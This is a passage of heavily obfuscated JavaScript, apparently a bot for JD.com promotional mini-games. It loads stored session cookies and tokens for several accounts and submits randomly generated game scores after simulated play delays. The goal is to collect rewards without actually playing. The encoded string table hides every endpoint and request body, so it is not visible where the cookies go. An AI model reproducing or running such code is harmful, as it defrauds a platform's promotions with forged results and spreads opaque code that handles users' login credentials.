_0x264673;try{_0x264673=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x40be89){_0x264673=window;}return _0x264673;};var _0x24123b=_0x38db16();var _0x6acf3e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x24123b['atob']||(_0x24123b['atob']=function(_0x481012){var _0x2bf6ad=String(_0x481012)['replace'](/=+$/,'');for(var _0x58dfbf=0x0,_0x5b4835,_0x4f99d9,_0x61227a=0x0,_0x5a5066='';_0x4f99d9=_0x2bf6ad['charAt'](_0x61227a++);~_0x4f99d9&&(_0x5b4835=_0x58dfbf%0x4?_0x5b4835*0x40+_0x4f99d9:_0x4f99d9,_0x58dfbf++%0x4)?_0x5a5066+=String['fromCharCode'](0xff&_0x5b4835>>(-0x2*_0x58dfbf&0x6)):0x0){_0x4f99d9=_0x6acf3e['indexOf'](_0x4f99d9);}return _0x5a5066;});}());_0x5a8a['miXmki']=function(_0x6555d){var _0x3e5951=atob(_0x6555d);var _0x2b50bd=[];for(var _0x44c4cf=0x0,_0x2612f3=_0x3e5951['length'];_0x44c4cf<_0x2612f3;_0x44c4cf++){_0x2b50bd+='%'+('00'+_0x3e5951['charCodeAt'](_0x44c4cf)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2b50bd);};_0x5a8a['YPeNgV']={};_0x5a8a['mKlkKb']=!![];}var _0x3a5470=_0x5a8a['YPeNgV'][_0x4a9823];if(_0x3a5470===undefined){_0xe8beab=_0x5a8a['miXmki'](_0xe8beab);_0x5a8a['YPeNgV'][_0x4a9823]=_0xe8beab;}else{_0xe8beab=_0x3a5470;}return _0xe8beab;};const FormData=require(_0x5a8a('0'));let cookiesArr=[],cookie='';if($[_0x5a8a('1')]()){Object[_0x5a8a('2')](jdCookieNode)[_0x5a8a('3')](_0x2e1a5a=>{cookiesArr[_0x5a8a('4')](jdCookieNode[_0x2e1a5a]);});if(process[_0x5a8a('5')][_0x5a8a('6')]&&process[_0x5a8a('5')][_0x5a8a('6')]===_0x5a8a('7'))console[_0x5a8a('8')]=()=>{};}else{cookiesArr=[$[_0x5a8a('9')](_0x5a8a('a')),$[_0x5a8a('9')](_0x5a8a('b')),...jsonParse($[_0x5a8a('9')](_0x5a8a('c'))||'[]')[_0x5a8a('d')](_0xbad31c=>_0xbad31c[_0x5a8a('e')])][_0x5a8a('f')](_0x5529dc=>!!_0x5529dc);}guaDDGametype=$[_0x5a8a('1')]()?process[_0x5a8a('5')][_0x5a8a('10')]?process[_0x5a8a('5')][_0x5a8a('10')]:''+guaDDGametype:$[_0x5a8a('9')](_0x5a8a('10'))?$[_0x5a8a('9')](_0x5a8a('10')):''+guaDDGametype;allMessage='';message='';let UA='';let lz_jdpin_token_cookie='';let activityCookie='';$[_0x5a8a('11')]=![];$[_0x5a8a('12')]=![];$[_0x5a8a('13')]=[];$[_0x5a8a('14')]=[{'adSource':0x0,'name':_0x5a8a('15'),'Maxfraction':0x121,'Minfraction':0xd2,'time':0x23},{'adSource':0x1,'name':_0x5a8a('16'),'Maxfraction':0x2bc,'Minfraction':0x1fe,'time':0x50},{'adSource':0x2,'name':_0x5a8a('17'),'Maxfraction':0x7d0,'Minfraction':0x3f2,'time':0x5a},{'adSource':0x3,'name':_0x5a8a('18'),'Maxfraction':0xe6,'Minfraction':0x6e,'time':0x5a},{'adSource':0x4,'name':_0x5a8a('19'),'Maxfraction':0x7d0,'Minfraction':0x378,'time':0x23}];!(async()=>{var _0x4a3b0d={'dOWFy':function(_0x22d191,_0x19d4fa){return _0x22d191!=_0x19d4fa;},'odYSu':_0x5a8a('1a'),'GYPMc':function(_0x5d0b17,_0x3fb5af){return _0x5d0b17!==_0x3fb5af;},'FCARv':function(_0x40cf5f,_0x15ff9d){return _0x40cf5f!==_0x15ff9d;},'aBVrO':function(_0x31457c,_0x48ef48){return _0x31457c<_0x48ef48;},'FhjbL':function(_0x5b5ad4,_0x4f5be4){return _0x5b5ad4(_0x4f5be4);},'iwdlp':_0x5a8a('1b'),'vcFNM':_0x5a8a('1c'),'kKoKE':function(_0x38ee19,_0x1cf568){return _0x38ee19+_0x1cf568;},'AlIEz':function(_0x4673d7){return _0x4673d7();},'HHmly':_0x5a8a('1d')};if(_0x4a3b0d[_0x5a8a('1e')](guaDDGametype,_0x4a3b0d[_0x5a8a('1f')])&&_0x4a3b0d[_0x5a8a('20')](guaDDGametype,'')&&(_0x4a3b0d[_0x5a8a('21')](guaDDGametype[_0x5a8a('22')](','),0x1)&&_0x4a3b0d[_0x5a8a('23')](_0x4a3b0d[_0x5a8a('24')](Number,guaDDGametype)||0x0,0x1))){return;}if(!cookiesArr[0x0]){$[_0x5a8a('25')]($[_0x5a8a('26')],_0x4a3b0d[_0x5a8a('27')],_0x4a3b0d[_0x5a8a('28')],{'open-url':_0x4a3b0d[_0x5a8a('28')]});return;}for(let _0x3b738d=0x0;_0x4a3b0d[_0x5a8a('23')](_0x3b738d,cookiesArr[_0x5a8a('29')]);_0x3b738d++){cookie=cookiesArr[_0x3b738d];if(cookie){$[_0x5a8a('2a')]=_0x4a3b0d[_0x5a8a('24')](decodeURIComponent,cookie[_0x5a8a('2b')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x5a8a('2b')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5a8a('2c')]=_0x4a3b0d[_0x5a8a('2d')](_0x3b738d,0x1);message='';$[_0x5a8a('2e')]=0x0;$[_0x5a8a('11')]=![];await _0x4a3b0d[_0x5a8a('2f')](getUA);$[_0x5a8a('30')]='';console[_0x5a8a('8')](_0x5a8a('31')+$[_0x5a8a('2c')]+'】'+($[_0x5a8a('30')]||$[_0x5a8a('2a')])+_0x5a8a('32'));await _0x4a3b0d[_0x5a8a('2f')](run);if($[_0x5a8a('12')])break;}}if($[_0x5a8a('12')]){let _0x45ad6b=_0x4a3b0d[_0x5a8a('33')];$[_0x5a8a('25')]($[_0x5a8a('26')],'',''+_0x45ad6b);if($[_0x5a8a('1')]())await notify[_0x5a8a('34')](''+$[_0x5a8a('26')],''+_0x45ad6b);}})()[_0x5a8a('35')](_0x5e1cf9=>$[_0x5a8a('36')](_0x5e1cf9))[_0x5a8a('37')](()=>$[_0x5a8a('38')]());async function run(){var _0x2f3332={'uKJJC':function(_0x2201ce,_0x30d703){return _0x2201ce!=_0x30d703;},'NrNdL':_0x5a8a('1a'),'VHkYp':function(_0x445656,_0x246b9e){return _0x445656!==_0x246b9e;},'egIzC':function(_0x29832b,_0x2dbf44){return _0x29832b+_0x2dbf44;},'BJtpN':function(_0x2956b6,_0x29e0c4){return _0x2956b6+_0x29e0c4;},'Swcbo':function(_0x19046b,_0x21cc61){return _0x19046b(_0x21cc61);},'jPvKS':function(_0x1258c1,_0x579c6f){return _0x1258c1(_0x579c6f);},'aMHEM':function(_0x42110a){return _0x42110a();},'pTvRn':function(_0x997085,_0xcb9ff1){return _0x997085==_0xcb9ff1;},'hisPr':function(_0x5879de,_0xf12a95){return _0x5879de!==_0xf12a95;},'MaULS':_0x5a8a('39'),'yUyns':_0x5a8a('3a'),'yUjzs':function(_0x5b0a8f,_0x3f4741){return _0x5b0a8f==_0x3f4741;},'VduUs':_0x5a8a('3b'),'ehVyE':_0x5a8a('3c'),'epIrh':function(_0xc63c6b,_0x36f6d9){return _0xc63c6b==_0x36f6d9;},'KnrQD':_0x5a8a('3d'),'YQdGu':_0x5a8a('3e'),'kCscT':_0x5a8a('3f'),'SXlPM':function(_0x243605,_0x40ecca){return _0x243605(_0x40ecca);},'DYYBx':_0x5a8a('40'),'URsYN':_0x5a8a('41'),'YVpLM':function(_0x304bc5,_0x388ae4){return _0x304bc5+_0x388ae4;},'NvRjM':function(_0x55d226,_0x55550c){return _0x55d226*_0x55550c;},'bggCB':function(_0x3b3aae,_0x295938){return _0x3b3aae/_0x295938;},'aNfeT':function(_0x18d4da,_0x4047f,_0x3f768b){return _0x18d4da(_0x4047f,_0x3f768b);},'UHOww':function(_0x1d0bd6,_0x232542){return _0x1d0bd6+_0x232542;},'pUomu':function(_0x4d9a2f,_0x480347){return _0x4d9a2f-_0x480347;},'ghwJs':function(_0x327e53,_0x5c6596,_0x503fcb){return _0x327e53(_0x5c6596,_0x503fcb);},'ARUoh':function(_0x59c046,_0x4ef699){return _0x59c046*_0x4ef699;},'wcLVt':function(_0x588552,_0x1ebdc1){return _0x588552/_0x1ebdc1;},'vPRQf':function(_0x2593d3,_0xa47d8f){return _0x2593d3*_0xa47d8f;},'kDoNA':function(_0xc74365,_0x148632){return _0xc74365<_0x148632;},'GuOtT':_0x5a8a('42'),'TuGax':function(_0xf30824,_0x19247f){return _0xf30824+_0x19247f;},'OGpLl':function(_0x11ef05,_0x5024d4){return _0x11ef05+_0x5024d4;},'FmqmT':function(_0x125e60,_0x39ec35){return _0x125e60(_0x39ec35);},'xeMkV':_0x5a8a('43'),'bnGFz':function(_0x1c1762,_0x32243c,_0x1ac290){return _0x1c1762(_0x32243c,_0x1ac290);},'QbXrj':function(_0x34a17c,_0x3a138e){return _0x34a17c+_0x3a138e;},'ZXkod':function(_0xcf360,_0x308dbd){return _0xcf360*_0x308dbd;},'KQSbb':function(_0x30bc39,_0x376941){return _0x30bc39===_0x376941;},'ALnvS':_0x5a8a('44')};try{for(let _0x4210ad of $[_0x5a8a('14')]){$[_0x5a8a('45')]=_0x4210ad;$[_0x5a8a('46')]=$[_0x5a8a('45')][_0x5a8a('46')];if(_0x2f3332[_0x5a8a('47')](guaDDGametype,_0x2f3332[_0x5a8a('48')])&&_0x2f3332[_0x5a8a('49')](guaDDGametype,'')){let _0x5689dd=guaDDGametype[_0x5a8a('4a')](',');if(!_0x5689dd[_0x5a8a('4b')](_0x2f3332[_0x5a8a('4c')](_0x2f3332[_0x5a8a('4d')](_0x2f3332[_0x5a8a('4e')](Number,$[_0x5a8a('46')])||0x0,0x1),'')))continue;}console[_0x5a8a('8')](_0x5a8a('4f')+_0x2f3332[_0x5a8a('4d')](_0x2f3332[_0x5a8a('50')](Number,$[_0x5a8a('46')])||0x0,0x1)+'款['+$[_0x5a8a('45')][_0x5a8a('26')]+_0x5a8a('51'));$[_0x5a8a('52')]='';$[_0x5a8a('53')]='';$[_0x5a8a('54')]=!![];lz_jdpin_token_cookie='';await _0x2f3332[_0x5a8a('55')](getCk);if(_0x2f3332[_0x5a8a('56')](activityCookie,'')){if(_0x2f3332[_0x5a8a('57')](_0x2f3332[_0x5a8a('58')],_0x2f3332[_0x5a8a('58')])){return JSON[_0x5a8a('59')](str);}else{console[_0x5a8a('8')](_0x5a8a('5a'));return;}}await _0x2f3332[_0x5a8a('50')](takePostRequest,_0x2f3332[_0x5a8a('5b')]);if(_0x2f3332[_0x5a8a('5c')]($[_0x5a8a('52')],'')){console[_0x5a8a('8')](_0x2f3332[_0x5a8a('5d')]);return;}await _0x2f3332[_0x5a8a('50')](takePostRequest,_0x2f3332[_0x5a8a('5e')]);if(_0x2f3332[_0x5a8a('5f')]($[_0x5a8a('53')],'')){console[_0x5a8a('8')](_0x2f3332[_0x5a8a('5d')]);return;}await _0x2f3332[_0x5a8a('50')](takePostRequest,_0x2f3332[_0x5a8a('60')]);await _0x2f3332[_0x5a8a('55')](getIndex);$[_0x5a8a('61')]=_0x2f3332[_0x5a8a('62')];await _0x2f3332[_0x5a8a('50')](takePostRequest,_0x2f3332[_0x5a8a('63')]);await _0x2f3332[_0x5a8a('64')](takePostRequest,_0x2f3332[_0x5a8a('65')]);if($[_0x5a8a('54')]){console[_0x5a8a('8')](_0x2f3332[_0x5a8a('66')]);return;}let _0x27c516=0x0;$[_0x5a8a('67')]=0x0;_0x27c516=_0x2f3332[_0x5a8a('68')](Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6a')](Math[_0x5a8a('6b')](),0x3)),Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6c')]($[_0x5a8a('45')][_0x5a8a('6d')],0x5)));$[_0x5a8a('67')]=_0x2f3332[_0x5a8a('6e')](parseInt,_0x2f3332[_0x5a8a('6f')](Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6a')](Math[_0x5a8a('6b')](),_0x2f3332[_0x5a8a('70')]($[_0x5a8a('45')][_0x5a8a('71')],$[_0x5a8a('45')][_0x5a8a('72')]))),$[_0x5a8a('45')][_0x5a8a('72')]),0xa);switch($[_0x5a8a('45')][_0x5a8a('46')]){case 0x1:_0x27c516=_0x2f3332[_0x5a8a('6f')](Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6a')](Math[_0x5a8a('6b')](),0x6)),Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6c')]($[_0x5a8a('45')][_0x5a8a('6d')],0x5)));break;case 0x2:case 0x3:$[_0x5a8a('67')]=_0x2f3332[_0x5a8a('73')](parseInt,_0x2f3332[_0x5a8a('6f')](_0x2f3332[_0x5a8a('74')](Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('75')](_0x2f3332[_0x5a8a('76')](Math[_0x5a8a('6b')](),_0x2f3332[_0x5a8a('70')]($[_0x5a8a('45')][_0x5a8a('71')],$[_0x5a8a('45')][_0x5a8a('72')])),0xa)),0xa),$[_0x5a8a('45')][_0x5a8a('72')]),0xa);break;default:break;}for(let _0x407320=0x0;_0x2f3332[_0x5a8a('77')](_0x407320,0x1);_0x407320++){console[_0x5a8a('8')](_0x2f3332[_0x5a8a('78')]);for(j=0x1;_0x27c516--&&!![];j++){console[_0x5a8a('8')](_0x5a8a('79')+j+'/'+_0x2f3332[_0x5a8a('7a')](_0x27c516,j)+'次');await $[_0x5a8a('7b')](0x1388);await $[_0x5a8a('7b')](_0x2f3332[_0x5a8a('73')](parseInt,_0x2f3332[_0x5a8a('7c')](_0x2f3332[_0x5a8a('76')](Math[_0x5a8a('6b')](),0x7d0),0x3e8),0xa));}await _0x2f3332[_0x5a8a('7d')](takePostRequest,_0x2f3332[_0x5a8a('7e')]);}await $[_0x5a8a('7b')](_0x2f3332[_0x5a8a('7f')](parseInt,_0x2f3332[_0x5a8a('80')](_0x2f3332[_0x5a8a('81')](Math[_0x5a8a('6b')](),0x1388),0x2710),0xa));}}catch(_0x5900ed){if(_0x2f3332[_0x5a8a('82')](_0x2f3332[_0x5a8a('83')],_0x2f3332[_0x5a8a('83')])){console[_0x5a8a('8')](_0x5900ed);}else{$[_0x5a8a('11')]=!![];}}}async function takePostRequest(_0x1a2c7d){var _0x32b3e2={'hHkrU':function(_0x39ba47){return _0x39ba47();},'QBGvj':function(_0x1fc8a5,_0x44f279){return _0x1fc8a5>_0x44f279;},'pRywT':_0x5a8a('84'),'yPrxO':function(_0x29b232,_0x50244a){return _0x29b232+_0x50244a;},'QDCas':_0x5a8a('85'),'VUmSx':_0x5a8a('86'),'ARGEj':function(_0x29eea3,_0x242e27){return _0x29eea3===_0x242e27;},'huffV':_0x5a8a('87'),'xAGUW':function(_0x176cab,_0x56595d){return _0x176cab(_0x56595d);},'qBmhJ':function(_0x581a33,_0x175413){return _0x581a33==_0x175413;},'KjiOC':_0x5a8a('88'),'FUPJZ':function(_0x127f14,_0x1b7910){return _0x127f14===_0x1b7910;},'cpNht':_0x5a8a('89'),'khIpB':function(_0x305171,_0x413951,_0x46a6f1){return _0x305171(_0x413951,_0x46a6f1);},'vRYOt':function(_0x2a7384,_0x333c7f){return _0x2a7384!==_0x333c7f;},'jHVYT':_0x5a8a('8a'),'NRmLJ':_0x5a8a('8b'),'YDEmU':_0x5a8a('8c'),'mMsnk':_0x5a8a('8d'),'lfcXP':_0x5a8a('8e'),'ByKWQ':_0x5a8a('8f'),'mVRaf':_0x5a8a('3a'),'wopfJ':_0x5a8a('3c'),'RexnO':_0x5a8a('90'),'CmWDp':_0x5a8a('91'),'VCTuN':_0x5a8a('3d'),'qTZqZ':_0x5a8a('3f'),'IjRTV':function(_0x415ab3,_0x135b1d){return _0x415ab3(_0x135b1d);},'UUunp':_0x5a8a('40'),'beZgh':function(_0x21f67d,_0x65057d){return _0x21f67d(_0x65057d);},'lihlh':_0x5a8a('92'),'IhiVO':_0x5a8a('93'),'MRdGA':function(_0x1b2faf,_0x56714f){return _0x1b2faf(_0x56714f);},'sQKTE':_0x5a8a('43'),'cRHfS':_0x5a8a('94'),'edpat':_0x5a8a('95'),'AXeOv':_0x5a8a('96'),'vJZWV':_0x5a8a('97'),'dDAtS':_0x5a8a('98'),'jiXqK':_0x5a8a('99'),'fZpjV':function(_0x2d1787,_0xf2ba75,_0x50ef33,_0x544243){return _0x2d1787(_0xf2ba75,_0x50ef33,_0x544243);}};if($[_0x5a8a('11')])return;let _0x3c47d0='';let _0x1aafa3='';let _0x339637=_0x32b3e2[_0x5a8a('9a')];switch(_0x1a2c7d){case _0x32b3e2[_0x5a8a('9b')]:_0x3c47d0=_0x5a8a('9c');_0x1aafa3=_0x5a8a('9d');break;case _0x32b3e2[_0x5a8a('9e')]:_0x3c47d0=_0x5a8a('9f');_0x1aafa3=_0x5a8a('a0')+$[_0x5a8a('52')]+_0x5a8a('a1');break;case _0x32b3e2[_0x5a8a('a2')]:_0x3c47d0=_0x5a8a('a3');_0x1aafa3=_0x5a8a('a4');break;case _0x32b3e2[_0x5a8a('a5')]:_0x3c47d0=_0x5a8a('a6');_0x1aafa3=_0x5a8a('a4');break;case _0x32b3e2[_0x5a8a('a7')]:_0x3c47d0=_0x5a8a('a8');let _0x4e52bf=_0x5a8a('a9')+$[_0x5a8a('46')];_0x1aafa3=_0x5a8a('aa')+_0x32b3e2[_0x5a8a('ab')](encodeURIComponent,$[_0x5a8a('53')])+_0x5a8a('ac')+_0x32b3e2[_0x5a8a('ab')](encodeURIComponent,_0x4e52bf)+_0x5a8a('ad')+$[_0x5a8a('46')];break;case _0x32b3e2[_0x5a8a('ae')]:_0x3c47d0=_0x5a8a('af');_0x1aafa3=_0x5a8a('b0')+_0x32b3e2[_0x5a8a('b1')](encodeURIComponent,$[_0x5a8a('53')]);break;case _0x32b3e2[_0x5a8a('b2')]:_0x3c47d0=_0x5a8a('b3');_0x1aafa3=_0x5a8a('b4')+_0x32b3e2[_0x5a8a('b1')](encodeURIComponent,$[_0x5a8a('53')])+_0x5a8a('b5')+_0x32b3e2[_0x5a8a('b1')](encodeURIComponent,$[_0x5a8a('61')])+_0x5a8a('b6')+_0x32b3e2[_0x5a8a('b7')](encodeURIComponent,$[_0x5a8a('b8')])+_0x5a8a('b9')+$[_0x5a8a('46')];break;case _0x32b3e2[_0x5a8a('ba')]:_0x3c47d0=_0x5a8a('bb');_0x1aafa3=_0x5a8a('a4');break;case _0x32b3e2[_0x5a8a('bc')]:_0x3c47d0=_0x5a8a('bd');_0x1aafa3=_0x5a8a('be')+_0x32b3e2[_0x5a8a('bf')](encodeURIComponent,$[_0x5a8a('53')]);break;case _0x32b3e2[_0x5a8a('c0')]:_0x3c47d0=_0x5a8a('c1');var _0x27b619=new FormData();let _0x13ac67=_0x27b619[_0x5a8a('c2')]();_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('c4')],_0x32b3e2[_0x5a8a('c5')]);_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('c6')],$[_0x5a8a('c7')]);_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('c8')],$[_0x5a8a('53')]);_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('c9')],$[_0x5a8a('46')]);_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('ca')],$[_0x5a8a('67')]);_0x1aafa3={'flie':_0x27b619,'boundary':_0x13ac67};break;default:console[_0x5a8a('8')]('错误'+_0x1a2c7d);}let _0x4be30a=_0x32b3e2[_0x5a8a('cb')](getPostRequest,_0x3c47d0,_0x1aafa3,_0x339637);return new Promise(async _0x2f65d2=>{var _0x26c1ed={'qPMmH':function(_0x5770e6){return _0x32b3e2[_0x5a8a('cc')](_0x5770e6);},'goVuQ':function(_0x55d892,_0x3d0f9a){return _0x32b3e2[_0x5a8a('cd')](_0x55d892,_0x3d0f9a);},'IRpdG':_0x32b3e2[_0x5a8a('ce')],'JnjHm':function(_0x4be55c,_0x388644){return _0x32b3e2[_0x5a8a('cf')](_0x4be55c,_0x388644);},'AbCdt':function(_0x2ae185,_0x19766b){return _0x32b3e2[_0x5a8a('cd')](_0x2ae185,_0x19766b);},'qumNE':_0x32b3e2[_0x5a8a('d0')],'OPeDb':_0x32b3e2[_0x5a8a('d1')],'djISi':function(_0x164aa5,_0x38dda7){return _0x32b3e2[_0x5a8a('d2')](_0x164aa5,_0x38dda7);},'VTGKW':_0x32b3e2[_0x5a8a('d3')],'GiqyV':function(_0x55dde9,_0x1e6fbd){return _0x32b3e2[_0x5a8a('ab')](_0x55dde9,_0x1e6fbd);},'LlTcM':function(_0x1d81be,_0x28eb95){return _0x32b3e2[_0x5a8a('d4')](_0x1d81be,_0x28eb95);},'NWRxq':_0x32b3e2[_0x5a8a('d5')],'ptAfA':function(_0x1ea2fd,_0x6e7105){return _0x32b3e2[_0x5a8a('d6')](_0x1ea2fd,_0x6e7105);},'ErnFD':_0x32b3e2[_0x5a8a('d7')],'QoUJr':function(_0x4fea6c,_0x4e4391,_0x21606b){return _0x32b3e2[_0x5a8a('d8')](_0x4fea6c,_0x4e4391,_0x21606b);},'fnAYI':function(_0xb7aecf,_0x3f534c){return _0x32b3e2[_0x5a8a('d9')](_0xb7aecf,_0x3f534c);},'udxXE':_0x32b3e2[_0x5a8a('da')],'VItpJ':function(_0x5829fa,_0x37eea5){return _0x32b3e2[_0x5a8a('d6')](_0x5829fa,_0x37eea5);},'lbySj':_0x32b3e2[_0x5a8a('db')],'RHzeH':_0x32b3e2[_0x5a8a('dc')]};if(_0x32b3e2[_0x5a8a('d9')](_0x32b3e2[_0x5a8a('dd')],_0x32b3e2[_0x5a8a('de')])){$[_0x5a8a('df')](_0x4be30a,(_0x1089a2,_0x5475c0,_0x3b433b)=>{var _0x3ea377={'OnqgF':function(_0x4524ba,_0x232981){return _0x26c1ed[_0x5a8a('e0')](_0x4524ba,_0x232981);},'ucrui':_0x26c1ed[_0x5a8a('e1')],'PRoau':function(_0x1e0887,_0xeb1873){return _0x26c1ed[_0x5a8a('e2')](_0x1e0887,_0xeb1873);},'moXQR':function(_0x58de7c,_0x2b3afb){return _0x26c1ed[_0x5a8a('e3')](_0x58de7c,_0x2b3afb);},'bEPWK':_0x26c1ed[_0x5a8a('e4')],'jcpQG':function(_0x19857b,_0x15ad8d){return _0x26c1ed[_0x5a8a('e3')](_0x19857b,_0x15ad8d);},'KbcAN':_0x26c1ed[_0x5a8a('e5')]};if(_0x26c1ed[_0x5a8a('e6')](_0x26c1ed[_0x5a8a('e7')],_0x26c1ed[_0x5a8a('e7')])){try{_0x26c1ed[_0x5a8a('e8')](setActivityCookie,_0x5475c0);if(_0x1089a2){if(_0x5475c0&&_0x5475c0[_0x5a8a('e9')]&&_0x26c1ed[_0x5a8a('ea')](_0x5475c0[_0x5a8a('e9')],0x1ed)){console[_0x5a8a('8')](_0x26c1ed[_0x5a8a('eb')]);$[_0x5a8a('12')]=!![];}console[_0x5a8a('8')](''+$[_0x5a8a('ec')](_0x1089a2,_0x1089a2));console[_0x5a8a('8')](_0x1a2c7d+_0x5a8a('ed'));}else{if(_0x26c1ed[_0x5a8a('ee')](_0x26c1ed[_0x5a8a('ef')],_0x26c1ed[_0x5a8a('ef')])){_0x26c1ed[_0x5a8a('f0')](dealReturn,_0x1a2c7d,_0x3b433b);}else{let _0xa00791=ck[_0x5a8a('4a')](';')[0x0][_0x5a8a('f1')]();if(_0xa00791[_0x5a8a('4a')]('=')[0x1]){if(_0x3ea377[_0x5a8a('f2')](_0xa00791[_0x5a8a('22')](_0x3ea377[_0x5a8a('f3')]),-0x1))LZ_TOKEN_KEY=_0x3ea377[_0x5a8a('f4')](_0xa00791[_0x5a8a('f5')](/ /g,''),';');if(_0x3ea377[_0x5a8a('f6')](_0xa00791[_0x5a8a('22')](_0x3ea377[_0x5a8a('f7')]),-0x1))LZ_TOKEN_VALUE=_0x3ea377[_0x5a8a('f4')](_0xa00791[_0x5a8a('f5')](/ /g,''),';');if(_0x3ea377[_0x5a8a('f8')](_0xa00791[_0x5a8a('22')](_0x3ea377[_0x5a8a('f9')]),-0x1))lz_jdpin_token=_0x3ea377[_0x5a8a('f4')](_0x3ea377[_0x5a8a('f4')]('',_0xa00791[_0x5a8a('f5')](/ /g,'')),';');}}}}catch(_0x50f98d){if(_0x26c1ed[_0x5a8a('fa')](_0x26c1ed[_0x5a8a('fb')],_0x26c1ed[_0x5a8a('fb')])){_0x26c1ed[_0x5a8a('fc')](_0x2f65d2);}else{console[_0x5a8a('8')](_0x50f98d,_0x5475c0);}}finally{if(_0x26c1ed[_0x5a8a('fd')](_0x26c1ed[_0x5a8a('fe')],_0x26c1ed[_0x5a8a('fe')])){_0x26c1ed[_0x5a8a('fc')](_0x2f65d2);}else{console[_0x5a8a('8')](_0x1a2c7d+'\x20'+(res[_0x5a8a('ff')]||''));}}}else{console[_0x5a8a('8')](_0x3b433b);}});}else{console[_0x5a8a('8')](e);$[_0x5a8a('25')]($[_0x5a8a('26')],'',_0x26c1ed[_0x5a8a('100')]);return[];}});}async function dealReturn(_0x225544,_0x172f94){var _0x5c8ca5={'CQlBh':function(_0x34b607,_0x2215b4){return _0x34b607||_0x2215b4;},'QmTDq':_0x5a8a('101'),'FugSj':function(_0x47827f,_0x14df6b){return _0x47827f<_0x14df6b;},'SeOed':function(_0x1ce5af,_0x20b2e6){return _0x1ce5af*_0x20b2e6;},'bBGLr':function(_0x2a9bec,_0x160b0a){return _0x2a9bec==_0x160b0a;},'GmnfZ':_0x5a8a('88'),'msVNG':function(_0x3969ea,_0x5137a8){return _0x3969ea!=_0x5137a8;},'JFKjr':_0x5a8a('102'),'lZmrl':_0x5a8a('a'),'JYVSZ':_0x5a8a('b'),'ihpSu':function(_0xfcc3c2,_0x44b2a6){return _0xfcc3c2(_0x44b2a6);},'pHRyu':_0x5a8a('c'),'PKgeL':_0x5a8a('103'),'raoNc':_0x5a8a('104'),'EreJp':_0x5a8a('105'),'WdQSU':function(_0x3766a,_0x1c9ed2){return _0x3766a!=_0x1c9ed2;},'KxTRX':_0x5a8a('3d'),'aifZf':function(_0x18d755,_0x211a10){return _0x18d755===_0x211a10;},'WRjBA':_0x5a8a('106'),'pRWCf':_0x5a8a('3a'),'YQpzA':_0x5a8a('107'),'rhZYH':function(_0x39fc6f,_0x1af8ae){return _0x39fc6f!=_0x1af8ae;},'UNcFW':function(_0x3276dd,_0x494d34){return _0x3276dd===_0x494d34;},'ZXuCp':_0x5a8a('108'),'jiRJR':_0x5a8a('109'),'XxABX':_0x5a8a('90'),'trOKz':_0x5a8a('3c'),'kmwJO':function(_0x4cbc31,_0x430003){return _0x4cbc31!=_0x430003;},'AXdVD':function(_0x3c11a9,_0x4df69f){return _0x3c11a9==_0x4df69f;},'TbhyL':_0x5a8a('3f'),'yAoHX':function(_0x1a0043,_0x1ae3f8){return _0x1a0043==_0x1ae3f8;},'Dahzh':function(_0x2a9dc1,_0x2a0c02){return _0x2a9dc1===_0x2a0c02;},'Mmvap':function(_0x4f5f47,_0x2e6f53){return _0x4f5f47!=_0x2e6f53;},'ULEhL':_0x5a8a('3e'),'axqEq':function(_0x569479,_0x38bac2){return _0x569479==_0x38bac2;},'pMiOh':function(_0xe09a32,_0x34d3e1){return _0xe09a32!==_0x34d3e1;},'IVZsv':_0x5a8a('10a'),'HLGRP':_0x5a8a('40'),'tuDzd':function(_0x33b265,_0x39406c){return _0x33b265==_0x39406c;},'bpOjo':function(_0x3cc29e,_0x59f963){return _0x3cc29e===_0x59f963;},'oulsf':function(_0x2d2d73,_0x4dbef3){return _0x2d2d73!=_0x4dbef3;},'BJAgS':function(_0x4a7106,_0x2082e1){return _0x4a7106!=_0x2082e1;},'FOmqt':function(_0x36015b,_0x275151){return _0x36015b==_0x275151;},'aAbLL':_0x5a8a('10b'),'FvXAI':_0x5a8a('10c'),'qYbxA':_0x5a8a('10d'),'oTPvi':_0x5a8a('10e'),'MDJuO':_0x5a8a('43'),'ctAPZ':function(_0x53170c,_0xf9cb4a){return _0x53170c===_0xf9cb4a;},'omKFL':_0x5a8a('10f'),'GRWml':_0x5a8a('110'),'ARhLI':function(_0x5723dc,_0x405106){return _0x5723dc===_0x405106;},'BQMfz':_0x5a8a('111'),'kdLVO':_0x5a8a('112'),'HdAPB':function(_0x3a2edf,_0x215a9b){return _0x3a2edf+_0x215a9b;},'KSKrf':_0x5a8a('92'),'oOmCl':_0x5a8a('93'),'LPQUm':_0x5a8a('91'),'uybIv':function(_0x5a4c8a,_0x502a74){return _0x5a4c8a==_0x502a74;},'QJsVb':function(_0x90b9d1,_0x43d5f9){return _0x90b9d1>_0x43d5f9;}};let _0x59cb5d='';try{if(_0x5c8ca5[_0x5a8a('113')](_0x225544,_0x5c8ca5[_0x5a8a('114')])){_0x59cb5d=JSON[_0x5a8a('59')](_0x172f94);}}catch(_0x1f128f){if(_0x5c8ca5[_0x5a8a('115')](_0x5c8ca5[_0x5a8a('116')],_0x5c8ca5[_0x5a8a('116')])){console[_0x5a8a('8')](_0x225544+_0x5a8a('117'));console[_0x5a8a('8')](_0x172f94);$[_0x5a8a('118')]=![];}else{return;}}switch(_0x225544){case _0x5c8ca5[_0x5a8a('119')]:if(_0x5c8ca5[_0x5a8a('11a')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x5c8ca5[_0x5a8a('11a')](_0x59cb5d[_0x5a8a('11c')],0x0)){if(_0x5c8ca5[_0x5a8a('11d')](typeof 